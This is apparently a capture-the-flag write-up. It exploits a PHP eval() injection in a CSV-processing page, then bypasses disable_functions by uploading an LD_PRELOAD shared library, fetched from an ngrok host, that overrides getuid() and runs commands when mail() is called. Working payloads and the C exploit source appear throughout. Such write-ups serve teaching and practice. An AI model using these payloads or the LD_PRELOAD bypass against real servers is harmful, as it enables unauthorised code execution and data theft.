C'mon See My Vulns

PHP eval(), LD_PRELOAD RCE

Problem

Government of Rhiza has been creating some tools to make the slave labor more efficient. Laura scanned all IPs addresses from Rhiza's ASN and found one of these tools. Your goal is to get into the server to be able to collect the IP addresses that connects to it. Once collected, we can find out the approximate location of these machines.

56KB

c_mon_see_my_vulns.tar.gz

C'mon See My Vulns

Solution

We are given the following source code:

<?php

function do_calcs($csv){
  preg_match_all("/{{([^}]*)}}/", $csv, $matches);

  foreach ($matches[1] as &$val){
    $csv = str_replace("{{" . $val . "}}", eval("return " . $val . ";"), $csv);
  }

  return $csv;
}

/* main */
if ($_SERVER['REQUEST_METHOD'] == "POST"){
  if (isset($_POST['csv'])){
    // do the math calculations
    $csv = trim(do_calcs($_POST['csv']));
    $csv = str_replace("\r\n", "\n", $csv); // replace CRLF to LF

    $result = csv_parse($csv);
    print_r($result);
  }
  else{
    die("Missing param csv");
  }
}

?>

The eval() function being used on unsanitised user input. This should already ring some alarm bells.

foreach ($matches[1] as &$val){
    $csv = str_replace("{{" . $val . "}}", eval("return " . $val . ";"), $csv);
  }

There is also an info.php page. We can take a look at the disable_functions configuration to see which functions are disabled. Functions that can execute OS commands, like exec, system, etc. are not allowed.

The open_basedir setting restricts which files PHP can read/write to. We can see that we are restricted to /var/www/html.

Now that we know which functions are not allowed, let's look at what we are allowed to do. For the purposes of testing our POST requests, I used an API client called Postman.

List files:

csv:price,tax↵200,{{implode('', scandir('.'))}}

Read arbitrary files:

csv:price,tax↵200,{{file_get_contents('index.php')}}

Write arbitrary files:

csv:price,tax↵200,{{file_put_contents('test', 'test')}}

Of course, the files we can work with will be restricted by the open_basedir setting. Yet, we know that the flag is in /root.

However, from the docker file, we know that there is a readflag binary. This will allow us to get the flag contents.

# Setup readflag binary
COPY ./readflag.c readflag.c
RUN gcc readflag.c -o readflag && chmod 4777 readflag && rm readflag.c

We could bypass the restrictions using a custom .so file, and changing the LD_PRELOAD environment variable. This only requires that we are able to upload arbitrary files, set environment variables, and call the mail() function.

Here's a reference: https://www.programmersought.com/article/20535983859/

The basic theory is this:

1. When we set the LD_PRELOAD environment variable to our custom .so file, our library takes precedence and gets loaded first, overriding the standard functions.

2. mail() runs /usr/sbin/sendmail through /bin/sh. When this happens, functions like getuid() are called.

3. If we override getuid(), we can execute arbitrary code.

Create a hack.c file as follows:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


void payload() {
    system("touch /var/www/html/success");
}


uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

Compile the shared library:

gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so

Open a Python HTTP server and create a ngrok tunnel to transfer the file.

Transfer the hack.so to a writeable directory with file_put_contents and fopen:

csv:price,tax↵200,{{file_put_contents('/var/www/html/hack.so', fopen('http://631b40831847.ngrok.io/hack.so', 'r'))}}

Use the LD_PRELOAD environment variable to force the loading of our custom getuid() function. Then, call mail() - this will run /usr/sbin/sendmail through /bin/sh, which calls the getuid() function.

Note that all three have to be done in one request - the environment variable will only exist for the duration of the current request.

csv:price,tax↵200,{{putenv('LD_PRELOAD=/var/www/html/hack.so') . getenv('LD_PRELOAD') . mail('a','a','a','a')}}

From the Docker logs, we could see that /bin/sh was indeed executed.

Check that it worked:

csv:price,tax↵200,{{implode('', scandir('.'))}}

We see that the success file has been created, so our exploit was successful.

Now, it's time to modify the payload to achieve our goals. We will call the provided readflag binary, and store the results in output.txt.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


void payload() {
    system("/opt/readflag > /var/www/html/output.txt");
    return;
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

Now, after running the above steps again, we should have the flag in output.txt.

csv:price,tax↵200,{{file_get_contents('output.txt')}}

Using file_get_contents, we can get the output.